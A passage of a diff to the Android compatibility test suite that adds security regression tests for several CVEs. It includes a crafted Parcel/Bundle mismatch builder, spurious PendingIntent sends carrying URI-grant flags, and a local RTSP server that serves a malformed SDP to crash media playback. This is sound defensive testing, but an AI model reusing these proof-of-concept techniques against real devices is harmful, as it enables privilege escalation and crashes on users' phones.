+            private int mContextBinderSize;
+            private static final int BINDER_TYPE_HANDLE = 0x73682a85;
+            private static final int PAYLOAD_DATA_LENGTH = 54;
+
+            {
+                mContextBinder = Parcel.obtain();
+                mContextBinder.writeInt(BINDER_TYPE_HANDLE);
+                for (int i = 0; i < 20; i++) {
+                    mContextBinder.writeInt(0);
+                }
+                mContextBinder.setDataPosition(0);
+                mContextBinder.readStrongBinder();
+                mContextBinderSize = mContextBinder.dataPosition();
+            }
+
+            private String fillString(int length) {
+                return new String(new char[length]).replace('\0', 'A');
+            }
+
+
+            private String stringForInts(int... values) {
+                Parcel p = Parcel.obtain();
+                p.writeInt(2 * values.length);
+                for (int value : values) {
+                    p.writeInt(value);
+                }
+                p.writeInt(0);
+                p.setDataPosition(0);
+                String s = p.readString();
+                p.recycle();
+                return s;
+            }
+
+            private void writeContextBinder(Parcel parcel) {
+                parcel.appendFrom(mContextBinder, 0, mContextBinderSize);
+            }
+
+            @Override
+            public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
+                // Find key that has hash below everything else
+                Random random = new Random(1234);
+                int minHash = 0;
+                for (String s : preReSerialize.keySet()) {
+                    minHash = Math.min(minHash, s.hashCode());
+                }
+                for (String s : postReSerialize.keySet()) {
+                    minHash = Math.min(minHash, s.hashCode());
+                }
+
+                String key, key2;
+                int keyHash, key2Hash;
+
+                do {
+                    key = randomString(random);
+                    keyHash = key.hashCode();
+                } while (keyHash >= minHash);
+
+                do {
+                    key2 = randomString(random);
+                    key2Hash = key2.hashCode();
+                } while (key2Hash >= minHash || keyHash == key2Hash);
+
+                if (keyHash > key2Hash) {
+                    String tmp = key;
+                    key = key2;
+                    key2 = tmp;
+                }
+
+                // Pad bundles
+                padBundle(postReSerialize, preReSerialize.size(), minHash, random);
+                padBundle(preReSerialize, postReSerialize.size(), minHash, random);
+
+                // Write bundle
+                Parcel parcel = Parcel.obtain();
+
+                int sizePosition = parcel.dataPosition();
+                parcel.writeInt(0);
+                parcel.writeInt(BUNDLE_MAGIC);
+                int startPosition = parcel.dataPosition();
+                parcel.writeInt(preReSerialize.size() + 2);
+
+                parcel.writeString(key);
+                parcel.writeInt(VAL_PARCELABLEARRAY);
+                parcel.writeInt(LENGTH_PARCELABLEARRAY);
+                parcel.writeString("android.os.ExternalVibration");
+                parcel.writeInt(0);
+                parcel.writeString(null);
+                parcel.writeInt(0);
+                parcel.writeInt(0);
+                parcel.writeInt(0);
+                parcel.writeInt(0);
+                writeContextBinder(parcel);
+                writeContextBinder(parcel);
+
+                parcel.writeString(null);
+                parcel.writeString(null);
+                parcel.writeString(null);
+
+                // Payload
+                parcel.writeString(key2);
+                parcel.writeInt(VAL_OBJECTARRAY);
+                parcel.writeInt(2);
+                parcel.writeInt(VAL_STRING);
+                parcel.writeString(
+                        fillString(PAYLOAD_DATA_LENGTH) + stringForInts(VAL_INTARRAY, 5));
+                parcel.writeInt(VAL_BUNDLE);
+                parcel.writeBundle(postReSerialize);
+
+                // Data from preReSerialize bundle
+                writeBundleSkippingHeaders(parcel, preReSerialize);
+
+                // Fix up bundle size
+                int bundleDataSize = parcel.dataPosition() - startPosition;
+                parcel.setDataPosition(sizePosition);
+                parcel.writeInt(bundleDataSize);
+
+                parcel.setDataPosition(0);
+                Bundle bundle = parcel.readBundle();
+                parcel.recycle();
+                return bundle;
+            }
+        };
+
+        testAmbiguator(ambiguator);
+    }
+
     /*
      * b/71992105
      */
diff --git a/tests/tests/security/src/android/security/cts/CVE_2020_0294.java b/tests/tests/security/src/android/security/cts/CVE_2020_0294.java
new file mode 100644
index 0000000..0a533bb
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2020_0294.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.app.ActivityManager;
+import android.app.Instrumentation;
+import android.app.PendingIntent;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.platform.test.annotations.SecurityTest;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.*;
+import static org.junit.Assume.*;
+
+@SecurityTest
+@RunWith(AndroidJUnit4.class)
+public class CVE_2020_0294 {
+    private static final String TAG = "CVE_2020_0294";
+
+    /**
+     * b/170661753
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2020-12")
+    public void testPocCVE_2020_0294() throws Exception {
+        Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+        ActivityManager activityManager = (ActivityManager) instrumentation.getContext()
+                .getSystemService(Context.ACTIVITY_SERVICE);
+        Context targetContext = instrumentation.getTargetContext();
+        ComponentName componentName =
+                ComponentName.unflattenFromString("com.android.systemui/.ImageWallpaper");
+        PendingIntent pi = activityManager.getRunningServiceControlPanel(componentName);
+        assumeNotNull(pi);
+
+        Intent spuriousIntent = new Intent();
+        spuriousIntent.setPackage(targetContext.getPackageName());
+        spuriousIntent.setDataAndType(
+                Uri.parse("content://com.android.settings.files/my_cache/NOTICE.html"), "txt/html");
+        spuriousIntent.setFlags(
+                Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_READ_URI_PERMISSION);
+        try {
+            pi.send(targetContext, 0, spuriousIntent, null, null);
+        } catch (PendingIntent.CanceledException e) {
+            //This means PendingIntent has failed as its mutable
+            fail("PendingIntent from WallpaperManagerService is mutable");
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0322.java b/tests/tests/security/src/android/security/cts/CVE_2021_0322.java
new file mode 100644
index 0000000..2233005
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0322.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.app.PendingIntent;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.ProviderInfo;
+import android.net.Uri;
+import android.os.Bundle;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import android.platform.test.annotations.SecurityTest;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0322 {
+
+    private static final Uri BASE_URI = Uri.parse("content://android.security.cts.local/main");
+    private final Context mContext = InstrumentationRegistry.getContext();
+
+    boolean isVulnerable = false;
+    boolean onFinishedExecuted = false;
+
+    /**
+     * b/159145361
+     */
+    @SecurityTest(minPatchLevel = "2021-01")
+    @Test
+    public void testPocCVE_2021_0322() {
+        CVE_2021_0322_SliceProvider serviceProvider = new CVE_2021_0322_SliceProvider();
+        serviceProvider.attachInfo(mContext, new ProviderInfo());
+        PendingIntent pi = serviceProvider.onCreatePermissionRequest(BASE_URI);
+        PendingIntent.OnFinished onFinish = new PendingIntent.OnFinished() {
+            public void onSendFinished(PendingIntent pi, Intent intent,
+                    int resultCode, String resultData, Bundle resultExtras) {
+                String packageName = intent.getStringExtra("provider_pkg");
+                if(packageName != null) {
+                    isVulnerable = true;
+                }
+                onFinishedExecuted = true;
+            }
+        };
+        /* Execute the intent - the result is not required as the focus is    */
+        /* the intent which was used. Hence ignore the exceptions.            */
+        try {
+            pi.send(0, onFinish, null);
+        } catch (Exception e) {
+        }
+        /* Wait till the intent finishes. PendingIntent.OnFinished would be   */
+        /* exectuted and the details of the intent which was executed would   */
+        /* checked.                                                           */
+        try {
+            while(!onFinishedExecuted) {
+                Thread.sleep(1000); //Sleep for 1 second
+            }
+            assertTrue(!isVulnerable);
+        } catch (Exception e) {
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0322_SliceProvider.java b/tests/tests/security/src/android/security/cts/CVE_2021_0322_SliceProvider.java
new file mode 100644
index 0000000..f32aa90
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0322_SliceProvider.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import android.content.Context;
+
+public class CVE_2021_0322_SliceProvider extends android.app.slice.SliceProvider {
+
+    @Override
+    public boolean onCreate() {
+        return true;
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/MotionEventTest.java b/tests/tests/security/src/android/security/cts/MotionEventTest.java
index 0e39863..f7d3edc 100644
--- a/tests/tests/security/src/android/security/cts/MotionEventTest.java
+++ b/tests/tests/security/src/android/security/cts/MotionEventTest.java
@@ -129,19 +129,21 @@
         WidgetTestUtils.runOnMainAndLayoutSync(mActivityRule, view, null /*runnable*/,
                 true /*forceLayout*/);
 
-	// This ensures the window is visible, where the code above ensures
+        // This ensures the window is visible, where the code above ensures
         // the view is on screen.
         mActivityRule.runOnUiThread(() -> {
             // This will force WindowManager to relayout, ensuring the
-	    // transaction to show the window are sent to the graphics code.
+            // transaction to show the window are sent to the graphics code.
             wm.updateViewLayout(view, wmlp);
         });
 
+        // Find the position inside the main activity and outside of the overlays.
         FutureTask<Point> clickLocationTask = new FutureTask<>(() -> {
             final int[] viewLocation = new int[2];
-            view.getLocationOnScreen(viewLocation);
+            final View decorView = mActivity.getWindow().getDecorView();
+            decorView.getLocationOnScreen(viewLocation);
             // Set y position to the center of the view, to make sure it is away from the status bar
-            return new Point(viewLocation[0], viewLocation[1] + view.getHeight() / 2);
+            return new Point(viewLocation[0], viewLocation[1] + decorView.getHeight() / 2);
         });
         mActivity.runOnUiThread(clickLocationTask);
         Point viewLocation = clickLocationTask.get(5, TimeUnit.SECONDS);
diff --git a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
index 3aec394..c5234d6 100644
--- a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
+++ b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
@@ -148,7 +148,10 @@
             "com.android.apex.cts.shim",
 
             // Oom Catcher package to prevent tests from ooming device.
-            "com.android.cts.oomcatcher"
+            "com.android.cts.oomcatcher",
+
+            // Collects device info at the start of the test
+            "com.android.compatibility.common.deviceinfo"
 
             ));
 
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 66059d8..9a1a6df 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -40,12 +40,16 @@
 import android.opengl.GLES11Ext;
 import android.os.Looper;
 import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.os.Parcel;
 import android.platform.test.annotations.SecurityTest;
 import android.util.Log;
 import android.view.Surface;
 import android.webkit.cts.CtsTestServer;
 
 import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.mainline.MainlineModule;
+import com.android.compatibility.common.util.mainline.ModuleDetector;
 
 import java.io.BufferedInputStream;
 import java.io.BufferedReader;
@@ -94,6 +98,7 @@
  * Verify that the device is not vulnerable to any known Stagefright
  * vulnerabilities.
  */
+@AppModeFull
 @RunWith(AndroidJUnit4.class)
 public class StagefrightTest {
     static final String TAG = "StagefrightTest";
@@ -1254,8 +1259,277 @@
      ***********************************************************/
 
     @Test
+    @SecurityTest(minPatchLevel = "2021-01")
+    public void testStagefright_cve_2021_0312() throws Exception {
+        assumeFalse(ModuleDetector.moduleIsPlayManaged(
+            getInstrumentation().getContext().getPackageManager(),
+            MainlineModule.MEDIA));
+        doStagefrightTestExtractorSeek(R.raw.cve_2021_0312, 2, new CrashUtils.Config()
+                .setSignals(CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT));
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2018-09")
+    public void testStagefright_cve_2018_9474() throws Exception {
+        MediaPlayer mp = new MediaPlayer();
+        RenderTarget renderTarget = RenderTarget.create();
+        Surface surface = renderTarget.getSurface();
+        mp.setSurface(surface);
+        AssetFileDescriptor fd = getInstrumentation().getContext().getResources()
+                .openRawResourceFd(R.raw.cve_2018_9474);
+
+        mp.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
+        mp.prepare();
+
+        MediaPlayer.TrackInfo[] trackInfos = mp.getTrackInfo();
+        if (trackInfos == null || trackInfos.length == 0) {
+            return;
+        }
+
+        MediaPlayer.TrackInfo trackInfo = trackInfos[0];
+
+        int trackType = trackInfo.getTrackType();
+        MediaFormat format = trackInfo.getFormat();
+
+        Parcel data = Parcel.obtain();
+        trackInfo.writeToParcel(data, 0);
+
+        data.setDataPosition(0);
+        int trackTypeFromParcel = data.readInt();
+        String mimeTypeFromParcel = data.readString();
+        data.recycle();
+
+        if (trackType == trackTypeFromParcel) {
+            assertFalse("Device *IS* vulnerable to CVE-2018-9474",
+                        mimeTypeFromParcel.equals("und"));
+        }
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2019-09")
+    public void testStagefright_cve_2019_2108() throws Exception {
+        doStagefrightTestRawBlob(R.raw.cve_2019_2108_hevc, "video/hevc", 320, 240,
+            new CrashUtils.Config().setSignals(CrashUtils.SIGSEGV, CrashUtils.SIGBUS,
+                                               CrashUtils.SIGABRT));
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2016-09")
+    public void testStagefright_cve_2016_3880() throws Exception {
+        Thread server = new Thread() {
+            @Override
+            public void run() {
+                try (ServerSocket serverSocket = new ServerSocket(8080) {
+                        {setSoTimeout(10_000);} // time out after 10 seconds
+                    };
+                    Socket conn = serverSocket.accept()
+                ) {
+                    OutputStream outputstream = conn.getOutputStream();
+                    InputStream inputStream = conn.getInputStream();
+                    byte input[] = new byte[65536];
+                    inputStream.read(input, 0, 65536);
+                    String inputStr = new String(input);
+                    if (inputStr.contains("DESCRIBE rtsp://127.0.0.1:8080/cve_2016_3880")) {
+                        byte http[] = ("RTSP/1.0 200 OK\r\n"
+                        + "Server: stagefright/1.2 (Linux;Android 9)\r\n"
+                        + "Content-Type: application/sdp\r\n"
+                        + "Content-Base: rtsp://127.0.0.1:8080/cve_2016_3880\r\n"
+                        + "Content-Length: 379\r\n"
+                        + "Cache-Control: no-cache\r\nCSeq: 1\r\n\r\n").getBytes();
+
+                        byte sdp[] = ("v=0\r\no=- 64 233572944 IN IP4 127.0.0.0\r\n"
+                        + "s=QuickTime\r\nt=0 0\r\na=range:npt=now-\r\n"
+                        + "m=video 5434 RTP/AVP 96123456\r\nc=IN IP4 127.0.0.1\r\n"
+                        + "b=AS:320000\r\na=rtpmap:96123456 H264/90000\r\n"
+                        + "a=fmtp:96123456 packetization-mode=1;profile-level-id=42001E;"
+                        + "sprop-parameter-sets=Z0IAHpZUBaHogA==,aM44gA==\r\n"
+                        + "a=cliprect:0,0,480,270\r\na=framesize:96123456 720-480\r\n"
+                        + "a=control:track1\r\n").getBytes();
+
+                        outputstream.write(http);
+                        outputstream.write(sdp);
+                        outputstream.flush();
+                    }
+                } catch (IOException e) {
+                }
+            }
+        };
+        server.start();
+        String uri = "rtsp://127.0.0.1:8080/cve_2016_3880";
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(new CrashUtils.Config()
+                .setSignals(CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT));
+        LooperThread t = new LooperThread(new Runnable() {
+            @Override
+            public void run() {
+                MediaPlayer mp = new MediaPlayer();
+                mp.setOnErrorListener(mpcl);
+                mp.setOnPreparedListener(mpcl);
+                mp.setOnCompletionListener(mpcl);
+                RenderTarget renderTarget = RenderTarget.create();
+                Surface surface = renderTarget.getSurface();
+                mp.setSurface(surface);
+                AssetFileDescriptor fd = null;
+                try {
+                    mp.setDataSource(uri);
+                    mp.prepareAsync();
+                } catch (IOException e) {
+                    Log.e(TAG, e.toString());
+                } finally {
+                    closeQuietly(fd);
+                }
+                Looper.loop();
+                mp.release();
+            }
+        });
+        t.start();
+        assertFalse("Device *IS* vulnerable to CVE-2016-3880",
+                mpcl.waitForError() == MediaPlayer.MEDIA_ERROR_SERVER_DIED);
+        t.stopLooper();
+        t.join();
+        server.join();
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2021-01")
+    public void testStagefright_bug170240631() throws Exception {
+        assumeFalse(ModuleDetector.moduleIsPlayManaged(
+            getInstrumentation().getContext().getPackageManager(),
+            MainlineModule.MEDIA));
+        doStagefrightTest(R.raw.bug170240631_ts);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-05")
+    public void testStagefright_cve_2020_3641() throws Exception {
+        doStagefrightTest(R.raw.cve_2020_3641);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-04")
+    public void testStagefright_cve_2019_14127() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_14127);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-04")
+    public void testStagefright_cve_2019_14132() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_14132);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-03")
+    public void testStagefright_cve_2019_10591() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_10591);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-02")
+    public void testStagefright_cve_2019_10590() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_10590);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-01")
+    public void testStagefright_cve_2019_14004() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_14004);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-01")
+    public void testStagefright_cve_2019_14003() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_14003);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-02")
+    public void testStagefright_cve_2019_14057() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_14057);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-01")
+    public void testStagefright_cve_2019_10532() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_10532);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-01")
+    public void testStagefright_cve_2019_10578() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_10578);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-03")
+    public void testStagefright_cve_2019_14061() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_14061, 180000);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-01")
+    public void testStagefright_cve_2019_10611() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_10611);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2019-08")
+    public void testStagefright_cve_2019_10489() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_10489);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-03")
+    public void testStagefright_cve_2019_14048() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_14048);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2019-07")
+    public void testStagefright_cve_2019_2253() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_2253);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-01")
+    public void testStagefright_cve_2019_10579() throws Exception {
+        doStagefrightTestANR(R.raw.cve_2019_10579);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-01")
+    public void testStagefright_cve_2019_14005() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_14005);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-01")
+    public void testStagefright_cve_2019_14006() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_14006);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-01")
+    public void testStagefright_CVE_2019_14016() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_14016);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-01")
+    public void testStagefright_CVE_2019_14017() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_14017);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2018-07")
+    public void testStagefright_cve_2018_9412() throws Exception {
+        doStagefrightTest(R.raw.cve_2018_9412, 180000);
+    }
+
+    @Test
     @SecurityTest(minPatchLevel = "Unknown")
     public void testStagefright_bug_142641801() throws Exception {
+        assumeFalse(ModuleDetector.moduleIsPlayManaged(
+            getInstrumentation().getContext().getPackageManager(),
+            MainlineModule.MEDIA));
         doStagefrightTest(R.raw.bug_142641801);
     }
 
@@ -1457,10 +1731,54 @@
         doStagefrightTest(R.raw.cve_2016_3879, new CrashUtils.Config().checkMinAddress(false));
     }
 
+    /***********************************************************
+     to prevent merge conflicts, add P tests below this comment,
+     before any existing test methods
+     ***********************************************************/
+
+    @Test
+    @SecurityTest(minPatchLevel = "2019-12")
+    public void testStagefright_cve_2019_2222() throws Exception {
+        // TODO(b/170987914): This also skips testing hw_codecs.
+        // Update doStagefrightTestRawBlob to skip just the sw_codec test.
+        assumeFalse(ModuleDetector.moduleIsPlayManaged(
+            getInstrumentation().getContext().getPackageManager(),
+            MainlineModule.MEDIA_SOFTWARE_CODEC));
+        int[] frameSizes = getFrameSizes(R.raw.cve_2019_2222_framelen);
+        doStagefrightTestRawBlob(R.raw.cve_2019_2222_hevc, "video/hevc", 320, 240, frameSizes);
+    }
+
     private void doStagefrightTest(final int rid) throws Exception {
         doStagefrightTest(rid, null);
     }
 
+    /***********************************************************
+     to prevent merge conflicts, add Q tests below this comment,
+     before any existing test methods
+     ***********************************************************/
+
+    @Test
+    @SecurityTest(minPatchLevel = "2019-12")
+    public void testStagefright_cve_2019_2223() throws Exception {
+        // TODO(b/170987914): This also skips testing hw_codecs.
+        // Update doStagefrightTestRawBlob to skip just the sw_codec test.
+        assumeFalse(ModuleDetector.moduleIsPlayManaged(
+            getInstrumentation().getContext().getPackageManager(),
+            MainlineModule.MEDIA_SOFTWARE_CODEC));
+        int[] frameSizes = getFrameSizes(R.raw.cve_2019_2223_framelen);
+        doStagefrightTestRawBlob(R.raw.cve_2019_2223_hevc, "video/hevc", 320, 240, frameSizes);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2019-03")
+    public void testStagefright_cve_2019_1989() throws Exception {
+        Object obj[] = getFrameInfo(R.raw.cve_2019_1989_info);
+        int[] isHeader = (int[])obj [0];
+        int[] frameSizes = (int[])obj [1];
+        doStagefrightTestRawBlob(R.raw.cve_2019_1989_h264, "video/avc",
+                1920, 1080, frameSizes, isHeader, new CrashUtils.Config());
+    }
+
     private void doStagefrightTest(final int rid, CrashUtils.Config config) throws Exception {
         NetworkSecurityPolicy policy = NetworkSecurityPolicy.getInstance();
         policy.setCleartextTrafficPermitted(true);
@@ -2038,7 +2356,11 @@
                     renderTarget.destroy();
                 }
             }
-            ex.unselectTrack(t);
+            try {
+                ex.unselectTrack(t);
+            } catch (IllegalArgumentException e) {
+                // since we're just cleaning up, we don't care if it fails
+            }
         }
         ex.release();
         String cve = rname.replace("_", "-").toUpperCase();
@@ -2249,6 +2571,25 @@
         return frameSizes;
     }
 
+    private Object[] getFrameInfo(int rid) throws IOException {
+        final Context context = getInstrumentation().getContext();
+        final Resources resources = context.getResources();
+        AssetFileDescriptor fd = resources.openRawResourceFd(rid);
+        FileInputStream fis = fd.createInputStream();
+        byte[] frameInfo = new byte[(int) fd.getLength()];
+        fis.read(frameInfo);
+        fis.close();
+        String[] lines = new String(frameInfo).trim().split("\\r?\\n");
+        int isHeader[] = new int[lines.length];
+        int frameSizes[] = new int[lines.length];
+        for (int i = 0; i < lines.length; i++) {
+            String[] values = lines[i].trim().split("\\s+");
+            isHeader[i] = Integer.parseInt(values[0]);
+            frameSizes[i] = Integer.parseInt(values[1]);
+        }
+        return new Object[] {isHeader, frameSizes};
+    }
+
     private void runWithTimeout(Runnable runner, int timeout) {
         Thread t = new Thread(runner);
         t.start();
@@ -2533,6 +2874,136 @@
         thr.join();
     }
 
+    private void doStagefrightTestRawBlob(int rid, String mime, int initWidth, int initHeight,
+            int frameSizes[], int isHeader[], CrashUtils.Config config) throws Exception {
+
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(config);
+        final Context context = getInstrumentation().getContext();
+        final Resources resources = context.getResources();
+        LooperThread thr = new LooperThread(new Runnable() {
+            @Override
+            public void run() {
+                MediaPlayer mp = new MediaPlayer();
+                mp.setOnErrorListener(mpcl);
+                AssetFileDescriptor fd = null;
+                try {
+                    fd = resources.openRawResourceFd(R.raw.good);
+                    // the onErrorListener won't receive MEDIA_ERROR_SERVER_DIED until
+                    // setDataSource has been called
+                    mp.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
+                    fd.close();
+                } catch (Exception e) {
+                    // this is a known-good file, so no failure should occur
+                    fail("setDataSource of known-good file failed");
+                }
+                synchronized (mpcl) {
+                    mpcl.notify();
+                }
+                Looper.loop();
+                mp.release();
+            }
+        });
+        thr.start();
+        // wait until the thread has initialized the MediaPlayer
+        synchronized (mpcl) {
+            mpcl.wait();
+        }
+
+        AssetFileDescriptor fd = resources.openRawResourceFd(rid);
+        byte[] blob = new byte[(int) fd.getLength()];
+        FileInputStream fis = fd.createInputStream();
+        int numRead = fis.read(blob);
+        fis.close();
+
+        // find all the available decoders for this format
+        ArrayList<String> matchingCodecs = new ArrayList<String>();
+        int numCodecs = MediaCodecList.getCodecCount();
+        for (int i = 0; i < numCodecs; i++) {
+            MediaCodecInfo info = MediaCodecList.getCodecInfoAt(i);
+            if (info.isEncoder()) {
+                continue;
+            }
+            try {
+                MediaCodecInfo.CodecCapabilities caps = info.getCapabilitiesForType(mime);
+                if (caps != null) {
+                    matchingCodecs.add(info.getName());
+                }
+            } catch (IllegalArgumentException e) {
+                // type is not supported
+            }
+        }
+
+        if (matchingCodecs.size() == 0) {
+            Log.w(TAG, "no codecs for mime type " + mime);
+        }
+        String rname = resources.getResourceEntryName(rid);
+        // decode this blob once with each matching codec
+        for (String codecName : matchingCodecs) {
+            Log.i(TAG, "Decoding blob " + rname + " using codec " + codecName);
+            MediaCodec codec = MediaCodec.createByCodecName(codecName);
+            MediaFormat format = MediaFormat.createVideoFormat(mime, initWidth, initHeight);
+            try {
+                codec.configure(format, null, null, 0);
+                codec.start();
+            } catch (Exception e) {
+                Log.i(TAG, "Exception from codec " + codecName);
+                releaseCodec(codec);
+                continue;
+            }
+            try {
+                MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+                ByteBuffer[] inputBuffers = codec.getInputBuffers();
+                int numFrames = 0;
+                if (frameSizes != null) {
+                    numFrames = frameSizes.length;
+                }
+                if (0 == numFrames) {
+                    fail("Improper picture length file");
+                }
+                int offset = 0;
+                int j = 0;
+                while (j < numFrames) {
+                    int flags = 0;
+                    int bufidx = codec.dequeueInputBuffer(5000);
+                    if (bufidx >= 0) {
+                        inputBuffers[bufidx].rewind();
+                        Log.i(TAG, "Got buffer index " + bufidx + " with length "
+                                + inputBuffers[bufidx].capacity());
+                        if (isHeader[j] == 1) {
+                            flags = MediaCodec.BUFFER_FLAG_CODEC_CONFIG;
+                        }
+                        if (j == (numFrames - 1)) {
+                            flags = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
+                        }
+                        Log.i(TAG, "Feeding frame " + j + " with framelen " + frameSizes[j]
+                                + " offset " + offset + " and flags " + flags);
+                        inputBuffers[bufidx].put(blob, offset, frameSizes[j]);
+                        codec.queueInputBuffer(bufidx, 0, frameSizes[j], 0, flags);
+                        offset = offset + frameSizes[j];
+                        j++;
+                    } else {
+                        Log.i(TAG, "no input buffer");
+                    }
+                    bufidx = codec.dequeueOutputBuffer(info, 5000);
+                    if (bufidx >= 0) {
+                        codec.releaseOutputBuffer(bufidx, false);
+                    } else {
+                        Log.i(TAG, "no output buffer");
+                    }
+                }
+            } catch (Exception e) {
+                // ignore, not a security issue
+            } finally {
+                releaseCodec(codec);
+            }
+        }
+        String cve = rname.replace("_", "-").toUpperCase();
+        assertFalse("Device *IS* vulnerable to " + cve,
+                mpcl.waitForError() == MediaPlayer.MEDIA_ERROR_SERVER_DIED);
+        thr.stopLooper();
+        thr.join();
+    }
+
     private void doStagefrightTestMediaPlayerANR(final int rid, final String uri) throws Exception {
         doStagefrightTestMediaPlayerANR(rid, uri, null);
     }
diff --git a/tests/tests/security/testeffect/Android.bp b/tests/tests/security/testeffect/Android.bp
